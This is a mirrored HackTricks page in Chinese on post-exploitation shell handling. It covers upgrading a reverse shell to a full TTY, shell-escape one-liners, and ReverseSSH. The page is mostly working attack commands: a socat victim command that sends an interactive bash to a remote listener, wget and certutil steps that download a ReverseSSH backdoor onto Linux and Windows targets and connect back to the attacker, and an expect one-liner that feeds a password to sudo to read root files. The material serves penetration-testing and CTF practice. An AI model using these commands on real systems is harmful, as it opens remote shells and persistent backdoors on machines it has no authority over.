mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
126 lines
5.5 KiB
Markdown
126 lines
5.5 KiB
Markdown
# 完整的TTY
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
|
||
|
||
支持HackTricks的其他方式：
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
## 完整的TTY
|
||
|
||
请注意，在`SHELL`变量中设置的shell **必须**在 _**/etc/shells**_ 中**列出**，或者`SHELL变量的值未在/etc/shells文件中找到，此事件已报告`。另外，请注意，下面的代码片段仅在bash中有效。如果您使用zsh，请在获取shell之前切换到bash，方法是运行`bash`。
|
||
|
||
#### Python
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||
|
||
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
|
||
```
|
||
{% endcode %}
|
||
|
||
{% hint style="info" %}
|
||
您可以执行 **`stty -a`** 来获取 **行数** 和 **列数** 的 **数字**
|
||
{% endhint %}
|
||
|
||
#### 脚本
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
script /dev/null -qc /bin/bash #/dev/null is to not store anything
|
||
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
|
||
```
|
||
{% endcode %}
|
||
|
||
#### socat
|
||
```bash
|
||
#Listener:
|
||
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||
|
||
#Victim:
|
||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
||
```
|
||
### 生成shell
|
||
|
||
* `python -c 'import pty; pty.spawn("/bin/sh")'`
|
||
* `echo os.system('/bin/bash')`
|
||
* `/bin/sh -i`
|
||
* `script -qc /bin/bash /dev/null`
|
||
* `perl -e 'exec "/bin/sh";'`
|
||
* perl: `exec "/bin/sh";`
|
||
* ruby: `exec "/bin/sh"`
|
||
* lua: `os.execute('/bin/sh')`
|
||
* IRB: `exec "/bin/sh"`
|
||
* vi: `:!bash`
|
||
* vi: `:set shell=/bin/bash:shell`
|
||
* nmap: `!sh`
|
||
|
||
## 反向SSH
|
||
|
||
一个方便的方式，用于**交互式shell访问**，以及**文件传输**和**端口转发**，是将静态链接的ssh服务器[ReverseSSH](https://github.com/Fahrj/reverse-ssh)放到目标上。
|
||
|
||
以下是一个针对`x86`的示例，使用upx压缩的二进制文件。对于其他二进制文件，请查看[发布页面](https://github.com/Fahrj/reverse-ssh/releases/latest/)。
|
||
|
||
1. 在本地准备以捕获ssh端口转发请求：
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
# Drop it via your preferred way, e.g.
|
||
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
|
||
|
||
/dev/shm/reverse-ssh -v -l -p 4444
|
||
```
|
||
{% endcode %}
|
||
|
||
* (2a) Linux目标：
|
||
```bash
|
||
# Drop it via your preferred way, e.g.
|
||
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
|
||
|
||
/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
|
||
```
|
||
{% endcode %}
|
||
|
||
* (2b) Windows 10目标（对于早期版本，请查看[项目自述](https://github.com/Fahrj/reverse-ssh#features)）：
|
||
```bash
|
||
# Drop it via your preferred way, e.g.
|
||
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
|
||
|
||
reverse-ssh.exe -p 4444 kali@10.0.0.2
|
||
```
|
||
* 如果ReverseSSH端口转发请求成功，您现在应该能够使用默认密码`letmeinbrudipls`登录，以运行`reverse-ssh(.exe)`的用户的身份：
|
||
```bash
|
||
# Interactive shell access
|
||
ssh -p 8888 127.0.0.1
|
||
|
||
# Bidirectional file transfer
|
||
sftp -P 8888 127.0.0.1
|
||
```
|
||
## 无 TTY
|
||
|
||
如果由于某种原因无法获得完整的 TTY，则**仍然可以与期望用户输入的程序进行交互**。在以下示例中，密码被传递给 `sudo` 以读取文件：
|
||
```bash
|
||
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
|
||
|
||
其他支持HackTricks的方式：
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|